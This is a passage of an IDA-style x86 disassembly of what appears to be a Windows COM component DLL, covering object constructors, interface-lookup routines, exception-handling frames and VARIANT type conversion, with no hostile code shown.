test eax, eax
jz short loc_69B43961
push [ebp+arg_0]
mov ecx, eax
call sub_69B437E7
mov edi, eax
jmp short loc_69B43963
; ---------------------------------------------------------------------------
loc_69B43961: ; CODE XREF: sub_69B438E3+6Ej
xor edi, edi
loc_69B43963: ; CODE XREF: sub_69B438E3+7Cj
test edi, edi
jz short loc_69B43975
mov eax, [edi+14h]
and eax, 0FFFFFFFAh
or eax, esi
or eax, 2
mov [edi+14h], eax
loc_69B43975: ; CODE XREF: sub_69B438E3+63j
; sub_69B438E3+82j
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn 4
sub_69B438E3 endp
; =============== S U B R O U T I N E =======================================
sub_69B4397E proc near ; DATA XREF: .text:off_69B27FF4o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B4389D
test [esp+4+arg_0], 1
jz short loc_69B43996
lea eax, [esi-0Ch]
push eax
call sub_69B1B2B7
loc_69B43996: ; CODE XREF: sub_69B4397E+Dj
lea eax, [esi-0Ch]
pop esi
retn 4
sub_69B4397E endp
; =============== S U B R O U T I N E =======================================
sub_69B4399D proc near ; CODE XREF: sub_69B5562F+24p
; sub_69B55D24+8Cp
push ebx
push esi
push edi
mov esi, ecx
call sub_69B437C6
xor ebx, ebx
mov dword ptr [esi], offset off_69B125A8
mov dword ptr [esi+4], offset off_69B28068
mov dword ptr [esi+0Ch], offset off_69B28064
mov dword ptr [esi+18h], offset off_69B28028
mov dword ptr [esi+1Ch], offset off_69B28018
mov dword ptr [esi+20h], offset off_69B28008
mov [esi+24h], ebx
lea edi, [esi+28h]
mov [edi], ebx
mov [esi+34h], ebx
push ebx
mov [esi+3Ch], ebx
push 5
mov [esi+40h], ebx
call sub_69B8A458
push eax
push edi
call sub_69B17320
or dword ptr [esi+30h], 0FFFFFFFFh
pop edi
mov [esi+2Ch], bl
mov eax, esi
pop esi
pop ebx
retn
sub_69B4399D endp
; =============== S U B R O U T I N E =======================================
sub_69B439FF proc near ; DATA XREF: .text:69B28020o
mov al, 1
retn 4
sub_69B439FF endp
; ---------------------------------------------------------------------------
loc_69B43A04: ; DATA XREF: .text:off_69B28064o
push esi
mov esi, ecx
call sub_69B55714
test byte ptr [esp+8], 1
jz short loc_69B43A1C
lea eax, [esi-0Ch]
push eax
call sub_69B1B2B7
loc_69B43A1C: ; CODE XREF: .text:69B43A11j
lea eax, [esi-0Ch]
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B43A23(int, LPCWSTR strIn, int, LPCWSTR psz2)
sub_69B43A23 proc near ; DATA XREF: .text:69B28044o
strIn = dword ptr 8
arg_8 = dword ptr 0Ch
psz2 = dword ptr 10h
push [esp+psz2] ; psz2
push [esp+4+arg_8] ; int
push [esp+8+strIn] ; strIn
push 1 ; char
push offset dword_69B99610 ; int
call sub_69B2CFAA
retn 10h
sub_69B43A23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B43A3E proc near ; DATA XREF: .text:69B28048o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push [ebp+arg_1C]
mov eax, [ebp+arg_0]
push [ebp+arg_18]
add eax, 0FFFFFFE8h
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push offset dword_69B99610
push eax
call sub_69B2C800
pop ebp
retn 20h
sub_69B43A3E endp
; ---------------------------------------------------------------------------
loc_69B43A6D: ; DATA XREF: .text:off_69B28068o
sub dword ptr [esp+4], 4
jmp sub_69B54E00
; ---------------------------------------------------------------------------
loc_69B43A77: ; DATA XREF: .text:off_69B28028o
sub dword ptr [esp+4], 18h
jmp sub_69B54E00
; =============== S U B R O U T I N E =======================================
sub_69B43A81 proc near ; DATA XREF: .text:69B28024o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B54F74
sub_69B43A81 endp
; ---------------------------------------------------------------------------
loc_69B43A8B: ; DATA XREF: .text:off_69B28008o
sub dword ptr [esp+4], 20h
jmp sub_69B54E00
; ---------------------------------------------------------------------------
loc_69B43A95: ; DATA XREF: .text:69B2800Co
sub dword ptr [esp+4], 20h
jmp sub_69B1F56C
; ---------------------------------------------------------------------------
loc_69B43A9F: ; DATA XREF: .text:69B28010o
sub dword ptr [esp+4], 20h
jmp sub_69B7793E
; ---------------------------------------------------------------------------
loc_69B43AA9: ; DATA XREF: .text:off_69B14B74o
; .text:off_69B14C64o
mov ecx, [esp+4]
test ecx, ecx
jz short loc_69B43AB8
call sub_69B48B01
jmp short locret_69B43ABA
; ---------------------------------------------------------------------------
loc_69B43AB8: ; CODE XREF: .text:69B43AAFj
xor eax, eax
locret_69B43ABA: ; CODE XREF: .text:69B43AB6j
retn 4
; ---------------------------------------------------------------------------
loc_69B43ABD: ; DATA XREF: .text:69B14B14o
push dword ptr [esp+10h]
push dword ptr [esp+10h]
push dword ptr [esp+10h]
push 1
push offset dword_69B98EC8
call sub_69B2CFAA
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B43AD8 proc near ; DATA XREF: .text:69B14B18o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push [ebp+arg_1C]
mov eax, [ebp+arg_0]
push [ebp+arg_18]
add eax, 0FFFFFFE8h
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push offset dword_69B98EC8
push eax
call sub_69B2C800
pop ebp
retn 20h
sub_69B43AD8 endp
; =============== S U B R O U T I N E =======================================
sub_69B43B07 proc near ; DATA XREF: .text:69B14B84o
; .text:69B14C74o
arg_0 = byte ptr 4
; FUNCTION CHUNK AT 69B43C32 SIZE 00000030 BYTES
sub ecx, 10h
jmp loc_69B43C32
sub_69B43B07 endp
; =============== S U B R O U T I N E =======================================
sub_69B43B0F proc near ; DATA XREF: .text:69B14B78o
; .text:69B14C68o
arg_0 = dword ptr 4
push [esp+arg_0]
mov eax, [ecx+4]
mov edx, [ecx]
push eax
call dword ptr [edx+14h]
retn 4
sub_69B43B0F endp
; =============== S U B R O U T I N E =======================================
sub_69B43B1F proc near ; DATA XREF: .text:69B14B7Co
; .text:69B14C6Co
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test al, 1
push esi
jnz short loc_69B43B41
test eax, eax
mov esi, [ecx+4]
jz short loc_69B43B41
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+0F4h]
cmp esi, eax
jz short loc_69B43B41
xor eax, eax
jmp short loc_69B43B44
; ---------------------------------------------------------------------------
loc_69B43B41: ; CODE XREF: sub_69B43B1F+7j
; sub_69B43B1F+Ej ...
xor eax, eax
inc eax
loc_69B43B44: ; CODE XREF: sub_69B43B1F+20j
pop esi
retn 4
sub_69B43B1F endp
; ---------------------------------------------------------------------------
loc_69B43B48: ; DATA XREF: .text:off_69B14B34o
sub dword ptr [esp+4], 4
jmp loc_69B43356
; ---------------------------------------------------------------------------
loc_69B43B52: ; DATA XREF: .text:off_69B14AF8o
sub dword ptr [esp+4], 18h
jmp loc_69B43356
; =============== S U B R O U T I N E =======================================
sub_69B43B5C proc near ; DATA XREF: .text:69B14B80o
; .text:69B14C70o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B43C0A
sub_69B43B5C endp
; =============== S U B R O U T I N E =======================================
sub_69B43B66 proc near ; DATA XREF: .text:69B14B6Co
; .text:69B14C5Co
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 1Ch
push eax
call sub_69B4354C
retn 4
sub_69B43B66 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B43B76(int, LPCWSTR strIn, int, LPCWSTR psz2)
sub_69B43B76 proc near ; DATA XREF: .text:69B14BF0o
strIn = dword ptr 8
arg_8 = dword ptr 0Ch
psz2 = dword ptr 10h
push [esp+psz2] ; psz2
push [esp+4+arg_8] ; int
push [esp+8+strIn] ; strIn
push 1 ; char
push offset dword_69B99048 ; int
call sub_69B2CFAA
retn 10h
sub_69B43B76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B43B91 proc near ; DATA XREF: .text:69B14BF4o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push [ebp+arg_1C]
mov eax, [ebp+arg_0]
push [ebp+arg_18]
add eax, 0FFFFFFE8h
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push offset dword_69B99048
push eax
call sub_69B2C800
pop ebp
retn 20h
sub_69B43B91 endp
; =============== S U B R O U T I N E =======================================
sub_69B43BC0 proc near ; DATA XREF: .text:69B14AFCo
; .text:69B14BD8o ...
arg_0 = dword ptr 4
sub [esp+arg_0], 18h
jmp sub_69B1F56C
sub_69B43BC0 endp
; =============== S U B R O U T I N E =======================================
sub_69B43BCA proc near ; DATA XREF: .text:69B14B60o
; .text:69B14C48o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov eax, [esp+4+arg_0]
push [esp+4+arg_4]
add eax, 1Ch
push eax
call sub_69B406DD
retn 0Ch
sub_69B43BCA endp
; =============== S U B R O U T I N E =======================================
sub_69B43BE2 proc near ; DATA XREF: .text:69B14B64o
; .text:69B14C4Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B40658
retn 8
sub_69B43BE2 endp
; =============== S U B R O U T I N E =======================================
sub_69B43BF6 proc near ; DATA XREF: .text:69B14B68o
; .text:69B14C58o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B407EC
retn 8
sub_69B43BF6 endp
; =============== S U B R O U T I N E =======================================
sub_69B43C0A proc near ; CODE XREF: sub_69B43B5C+5j
; DATA XREF: .text:69B14B70o ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
push eax
lea ecx, [eax+1Ch]
call sub_69B408BC
retn 8
sub_69B43C0A endp
; ---------------------------------------------------------------------------
loc_69B43C1E: ; DATA XREF: .text:off_69B14C10o
sub dword ptr [esp+4], 4
jmp loc_69B4344C
; ---------------------------------------------------------------------------
loc_69B43C28: ; DATA XREF: .text:off_69B14BD4o
sub dword ptr [esp+4], 18h
jmp loc_69B4344C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B43B07
loc_69B43C32: ; CODE XREF: sub_69B43B07+3j
; DATA XREF: .text:off_69B28078o
push esi
mov esi, ecx
lea ecx, [esi-0Ch]
neg ecx
lea eax, [esi+10h]
sbb ecx, ecx
and ecx, eax
call sub_69B43340
call sub_69B2C65C
test [esp+4+arg_0], 1
jz short loc_69B43C5B
lea eax, [esi-0Ch]
push eax
call sub_69B1B2B7
loc_69B43C5B: ; CODE XREF: sub_69B43B07+149j
lea eax, [esi-0Ch]
pop esi
retn 4
; END OF FUNCTION CHUNK FOR sub_69B43B07
; =============== S U B R O U T I N E =======================================
sub_69B43C62 proc near ; CODE XREF: sub_69B5947B+Cp
; DATA XREF: .text:69B1253Co
push 2Ch
push offset dword_69B43D30
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B43C87
mov eax, 80004005h
jmp loc_69B43D23
; ---------------------------------------------------------------------------
loc_69B43C87: ; CODE XREF: sub_69B43C62+19j
mov esi, [ebp+8]
push esi
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov edi, [ebp+0Ch]
cmp edi, ebx
jnz short loc_69B43CA2
mov ebx, 80070057h
jmp short loc_69B43D10
; ---------------------------------------------------------------------------
loc_69B43CA2: ; CODE XREF: sub_69B43C62+37j
mov [ebp-4], ebx
mov esi, [esi+1Ch]
mov [ebp-30h], esi
mov [ebp-34h], esi
xor ecx, ecx
mov cl, [esi+0Bh]
and ecx, 1Fh
xor eax, eax
inc eax
shl eax, cl
test eax, 40191h
jz short loc_69B43CE2
push 38h
call sub_69B1D897
mov ecx, eax
mov [ebp-38h], ecx
test ecx, ecx
jz short loc_69B43CDC
push 0Fh
push esi
call sub_69B14B8C
jmp short loc_69B43CDE
; ---------------------------------------------------------------------------
loc_69B43CDC: ; CODE XREF: sub_69B43C62+6Ej
xor eax, eax
loc_69B43CDE: ; CODE XREF: sub_69B43C62+78j
mov [edi], eax
jmp short loc_69B43D0C
; ---------------------------------------------------------------------------
loc_69B43CE2: ; CODE XREF: sub_69B43C62+5Ej
mov [edi], ebx
xor ebx, ebx
inc ebx
mov [ebp-3Ch], ebx
jmp short loc_69B43D0C
; ---------------------------------------------------------------------------
loc_69B43CEC: ; DATA XREF: .text:69B43D34o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B43CF5: ; DATA XREF: .text:69B43D38o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B43D0C: ; CODE XREF: sub_69B43C62+7Ej
; sub_69B43C62+88j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B43D10: ; CODE XREF: sub_69B43C62+3Ej
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B43D23: ; CODE XREF: sub_69B43C62+20j
call sub_69B1853C
retn 8
sub_69B43C62 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B43D30 dd 0FFFFFFFFh dd offset loc_69B43CEC
dd offset loc_69B43CF5
; =============== S U B R O U T I N E =======================================
sub_69B43D3C proc near ; CODE XREF: sub_69B593A2+Cp
; DATA XREF: .text:69B12528o
push 2Ch
push offset dword_69B43E10
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B43D5F
mov eax, 80004005h
jmp loc_69B43E08
; ---------------------------------------------------------------------------
loc_69B43D5F: ; CODE XREF: sub_69B43D3C+17j
mov esi, [ebp+8]
push esi
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov esi, [esi+1Ch]
mov ecx, [esi+8]
mov eax, ecx
shr eax, 18h
and eax, 1Fh
or dword ptr [ebp-30h], 0FFFFFFFFh
mov edi, [ebp+0Ch]
test edi, edi
jnz short loc_69B43D8C
mov esi, 80070057h
jmp short loc_69B43DF5
; ---------------------------------------------------------------------------
loc_69B43D8C: ; CODE XREF: sub_69B43D3C+47j
and dword ptr [ebp-4], 0
test ecx, 0C0000h
jz short loc_69B43D9F
xor esi, esi
mov [ebp-34h], esi
jmp short loc_69B43DAB
; ---------------------------------------------------------------------------
loc_69B43D9F: ; CODE XREF: sub_69B43D3C+5Aj
cmp eax, 4
jnz short loc_69B43DAB
mov dword ptr [ebp-30h], 6
loc_69B43DAB: ; CODE XREF: sub_69B43D3C+61j
; sub_69B43D3C+66j
push 3Ch
call sub_69B1D897
mov ecx, eax
mov [ebp-38h], ecx
test ecx, ecx
jz short loc_69B43DC6
push dword ptr [ebp-30h]
push esi
call sub_69B14AA8
jmp short loc_69B43DC8
; ---------------------------------------------------------------------------
loc_69B43DC6: ; CODE XREF: sub_69B43D3C+7Dj
xor eax, eax
loc_69B43DC8: ; CODE XREF: sub_69B43D3C+88j
mov [edi], eax
xor esi, esi
mov [ebp-3Ch], esi
jmp short loc_69B43DF1
; ---------------------------------------------------------------------------
loc_69B43DD1: ; DATA XREF: .text:69B43E14o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B43DDA: ; DATA XREF: .text:69B43E18o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov esi, eax
loc_69B43DF1: ; CODE XREF: sub_69B43D3C+93j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B43DF5: ; CODE XREF: sub_69B43D3C+4Ej
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, esi
loc_69B43E08: ; CODE XREF: sub_69B43D3C+1Ej
call sub_69B1853C
retn 8
sub_69B43D3C endp
; ---------------------------------------------------------------------------
dword_69B43E10 dd 0FFFFFFFFh dd offset loc_69B43DD1
dd offset loc_69B43DDA
; =============== S U B R O U T I N E =======================================
sub_69B43E1C proc near ; CODE XREF: sub_69B1C12C+3019p
; sub_69B4414B+36p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
mov esi, ecx
push [esp+8+arg_0]
lea ecx, [esi+8]
call sub_69B1B552
push 0
push [esp+8+arg_4]
mov ecx, esi
push [esp+0Ch+arg_0]
call sub_69B4639C
mov eax, esi
pop esi
retn 8
sub_69B43E1C endp
; =============== S U B R O U T I N E =======================================
sub_69B43E46 proc near ; CODE XREF: sub_69B1C04C+83F7p
; sub_69B1C04C+842Dp ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
test edi, edi
jnz short loc_69B43E57
call sub_69B48B01
mov edi, eax
loc_69B43E57: ; CODE XREF: sub_69B43E46+8j
mov ecx, edi
call sub_69B3FC6D
mov esi, eax
mov eax, [esi]
push esi
call dword ptr [eax+4]
cmp [esp+8+arg_0], 0
jnz short loc_69B43E73
mov eax, [edi]
push edi
call dword ptr [eax+8]
loc_69B43E73: ; CODE XREF: sub_69B43E46+25j
pop edi
mov eax, esi
pop esi
retn 4
sub_69B43E46 endp
; ---------------------------------------------------------------------------
jmp sub_69B1900C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B43E7F proc near ; CODE XREF: .text:69B44075p
; sub_69B45404+83p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push [ebp+arg_8]
cmp byte ptr [ecx+24h], 0
push [ebp+arg_4]
mov ecx, [ebp+arg_0]
jz short loc_69B43E98
call sub_69B4A9E3
jmp short loc_69B43E9D
; ---------------------------------------------------------------------------
loc_69B43E98: ; CODE XREF: sub_69B43E7F+10j
call sub_69B4A571
loc_69B43E9D: ; CODE XREF: sub_69B43E7F+17j
pop ebp
retn 0Ch
sub_69B43E7F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B43EA1(VARIANTARG pvarSrc, __int16, int, int, int, int, int)
sub_69B43EA1 proc near ; CODE XREF: sub_69B460C4+8Ep
pvarg = VARIANTARG ptr -10h
pvarSrc = VARIANTARG ptr 8
arg_10 = word ptr 18h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
sub esp, 10h
mov eax, dword ptr [ebp+pvarSrc.anonymous_0+8]
push esi
push edi
xor edi, edi
cmp word ptr [ebp+pvarSrc.anonymous_0], 400Ch
jz short loc_69B43EB9
lea eax, [ebp+pvarSrc]
loc_69B43EB9: ; CODE XREF: sub_69B43EA1+13j
mov cx, [eax]
cmp cx, 8
jz short loc_69B43EDC
cmp cx, 4008h
jz short loc_69B43EDC
cmp word ptr [ebp+pvarSrc.anonymous_0], 0Ah
jz short loc_69B43F31
cmp word ptr [ebp+pvarSrc.anonymous_0], 0
jz short loc_69B43F31
lea esi, [ebp+pvarSrc]
jmp short loc_69B43EF9
; ---------------------------------------------------------------------------
loc_69B43EDC: ; CODE XREF: sub_69B43EA1+1Fj
; sub_69B43EA1+26j
test ch, 40h
jz short loc_69B43EE6
mov edi, [eax+8]
jmp short loc_69B43EE8
; ---------------------------------------------------------------------------
loc_69B43EE6: ; CODE XREF: sub_69B43EA1+3Ej
mov edi, eax
loc_69B43EE8: ; CODE XREF: sub_69B43EA1+43j
cmp [ebp+arg_10], 0Ah
jz short loc_69B43F25
cmp [ebp+arg_10], 0
jz short loc_69B43F25
lea esi, [ebp+arg_10]
loc_69B43EF9: ; CODE XREF: sub_69B43EA1+39j
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantInit
push 3 ; vt
push 0 ; wFlags
push 400h ; lcid
push esi ; pvarSrc
lea eax, [ebp+pvarg]
push eax ; pvargDest
call VariantChangeTypeEx
push eax
call sub_69B8861E
mov eax, [ebp+arg_20]
mov ecx, dword ptr [ebp+pvarg.anonymous_0+8]
mov [eax], ecx
loc_69B43F25: ; CODE XREF: sub_69B43EA1+4Cj
; sub_69B43EA1+53j
test edi, edi
jz short loc_69B43F31
mov eax, [edi+8]
mov ecx, [ebp+arg_24]
mov [ecx], eax
loc_69B43F31: ; CODE XREF: sub_69B43EA1+2Dj
; sub_69B43EA1+34j ...
pop edi
pop esi
leave
retn 28h
sub_69B43EA1 endp
; =============== S U B R O U T I N E =======================================
sub_69B43F37 proc near ; CODE XREF: sub_69B1E03D+3p
push esi
mov esi, ecx
push offset dword_69B2AFC0
lea ecx, [esi+4]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
retn
sub_69B43F37 endp
; =============== S U B R O U T I N E =======================================
sub_69B43F50 proc near ; CODE XREF: .text:69B45AA3j
; DATA XREF: .text:off_69B1267Co
push 1Ch
push offset dword_69B44048
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B43F73
mov eax, 80004005h
jmp loc_69B4402D
; ---------------------------------------------------------------------------
loc_69B43F73: ; CODE XREF: sub_69B43F50+17j
mov ebx, [ebp+8]
push dword ptr [ebx+1Ch]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
and dword ptr [ebp-4], 0
push 4
pop ecx
mov edi, offset stru_69B1CA6C
mov eax, [ebp+0Ch]
mov esi, eax
xor edx, edx
repe cmpsd
jz short loc_69B43FE3
push 4
pop ecx
mov edi, offset dword_69B2AFE0
mov esi, eax
xor edx, edx
repe cmpsd
jz short loc_69B43FE3
push 4
pop ecx
mov edi, offset dword_69B44038
mov esi, eax
xor edx, edx
repe cmpsd
jz short loc_69B43FE3
push 4
pop ecx
mov edi, offset dword_69B2AFD0
mov esi, eax
xor eax, eax
repe cmpsd
jnz short loc_69B43FD4
mov eax, [ebx]
push dword ptr [ebp+10h]
push ebx
call dword ptr [eax+24h]
jmp short loc_69B44012
; ---------------------------------------------------------------------------
loc_69B43FD4: ; CODE XREF: sub_69B43F50+77j
mov eax, [ebp+10h]
and dword ptr [eax], 0
mov dword ptr [ebp-2Ch], 80004002h
jmp short loc_69B44015
; ---------------------------------------------------------------------------
loc_69B43FE3: ; CODE XREF: sub_69B43F50+47j
; sub_69B43F50+57j ...
mov eax, [ebx]
push ebx
call dword ptr [eax+4]
mov eax, [ebp+10h]
mov [eax], ebx
and dword ptr [ebp-2Ch], 0
jmp short loc_69B44015
; ---------------------------------------------------------------------------
loc_69B43FF4: ; DATA XREF: .text:69B4404Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B43FFD: ; DATA XREF: .text:69B44050o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B44012: ; CODE XREF: sub_69B43F50+82j
mov [ebp-2Ch], eax
loc_69B44015: ; CODE XREF: sub_69B43F50+91j
; sub_69B43F50+A2j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-2Ch]
loc_69B4402D: ; CODE XREF: sub_69B43F50+1Ej
call sub_69B1853C
retn 0Ch
sub_69B43F50 endp
; ---------------------------------------------------------------------------
align 4
dword_69B44038 dd 65725580h, 11D09B5Dh, 0C000FE9Bh, 8E9CC94Fh ; .data:off_69B99094o
dword_69B44048 dd 0FFFFFFFFh dd offset loc_69B43FF4
dd offset loc_69B43FFD
; ---------------------------------------------------------------------------
loc_69B44054: ; CODE XREF: .text:69B45AABj
push 14h
push offset dword_69B440B8
call sub_69B19C5C
and dword ptr [ebp-4], 0
mov eax, [ecx+20h]
mov [ebp-1Ch], eax
mov edx, [ecx+1Ch]
mov [ebp-20h], edx
push eax
push dword ptr [ebp+8]
push edx
call sub_69B43E7F
mov [ebp-24h], eax
jmp short loc_69B440AB
; ---------------------------------------------------------------------------
loc_69B4407F: ; DATA XREF: .text:69B440BCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B44088: ; DATA XREF: .text:69B440C0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
cmp eax, 8000000Ah
jz short loc_69B440A9
call sub_69B2E860
loc_69B440A9: ; CODE XREF: .text:69B440A2j
xor eax, eax
loc_69B440AB: ; CODE XREF: .text:69B4407Dj
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B1853C
retn 4
; ---------------------------------------------------------------------------
align 4
dword_69B440B8 dd 0FFFFFFFFh dd offset loc_69B4407F
dd offset loc_69B44088
; =============== S U B R O U T I N E =======================================
sub_69B440C4 proc near ; CODE XREF: sub_69B14C7C+7p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
push offset dword_69B2AFA0
lea ecx, [esi+4]
call sub_69B1DFFA
mov eax, esi
pop esi
retn 4
sub_69B440C4 endp
; =============== S U B R O U T I N E =======================================
sub_69B440DE proc near ; CODE XREF: sub_69B14CD0+7p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
push offset nullsub_2
lea ecx, [esi+4]
call sub_69B1DFFA
mov eax, esi
pop esi
retn 4
sub_69B440DE endp
; =============== S U B R O U T I N E =======================================
sub_69B440F8 proc near ; CODE XREF: sub_69B14D14+7p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
push offset dword_69B25CE4
lea ecx, [esi+4]
call sub_69B1DFFA
mov eax, esi
pop esi
retn 4
sub_69B440F8 endp
; =============== S U B R O U T I N E =======================================
sub_69B44112 proc near ; CODE XREF: sub_69B44A77+4Dp
; sub_69B44B74+3Ap ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
push edi
mov edi, ecx
mov ecx, esi
call dword ptr [eax+0B4h]
test eax, eax
jz short loc_69B44137
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
mov eax, [eax+3Ch]
jmp short loc_69B4413C
; ---------------------------------------------------------------------------
loc_69B44137: ; CODE XREF: sub_69B44112+14j
mov eax, dword_69B95AB0
loc_69B4413C: ; CODE XREF: sub_69B44112+23j
push eax
mov ecx, edi
call sub_69B18E23
mov eax, edi
pop edi
pop esi
retn 4
sub_69B44112 endp
; =============== S U B R O U T I N E =======================================
sub_69B4414B proc near ; DATA XREF: .text:69B1DFD4o
push 30h
push offset dword_69B44218
call sub_69B19C5C
xor ebx, ebx
cmp [ebp+0Ch], ebx
jnz short loc_69B44168
mov eax, 80070057h
jmp loc_69B4420A
; ---------------------------------------------------------------------------
loc_69B44168: ; CODE XREF: sub_69B4414B+11j
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
cmp edi, ebx
jz short loc_69B4419A
mov esi, [ebp+8]
push dword ptr [esi+18h]
push edi
lea ecx, [ebp-30h]
call sub_69B43E1C
cmp [ebp-2Ch], bl
jnz short loc_69B441A1
lea ecx, [ebp-30h]
call sub_69B4637D
push edi
call dword_69B92944
loc_69B4419A: ; CODE XREF: sub_69B4414B+2Aj
mov eax, 80004005h
jmp short loc_69B4420A
; ---------------------------------------------------------------------------
loc_69B441A1: ; CODE XREF: sub_69B4414B+3Ej
xor edi, edi
mov [ebp-4], ebx
mov [ebp-34h], ebx
push dword ptr [ebp+0Ch]
call sub_69B47D5E
mov [ebp-34h], eax
cmp eax, ebx
jnz short loc_69B441C9
mov ecx, [esi+18h]
mov [ebp-38h], ecx
mov [ebp-3Ch], ecx
push eax
call sub_69B3D6D2
jmp short loc_69B441F3
; ---------------------------------------------------------------------------
loc_69B441C9: ; CODE XREF: sub_69B4414B+6Bj
mov edi, 80070057h
mov [ebp-40h], edi
jmp short loc_69B441F3
; ---------------------------------------------------------------------------
loc_69B441D3: ; DATA XREF: .text:69B4421Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B441DC: ; DATA XREF: .text:69B44220o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B441F3: ; CODE XREF: sub_69B4414B+7Cj
; sub_69B4414B+86j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B4420A: ; CODE XREF: sub_69B4414B+18j
; sub_69B4414B+54j
call sub_69B1853C
retn 8
sub_69B4414B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B44218 dd 0FFFFFFFFh dd offset loc_69B441D3
dd offset loc_69B441DC
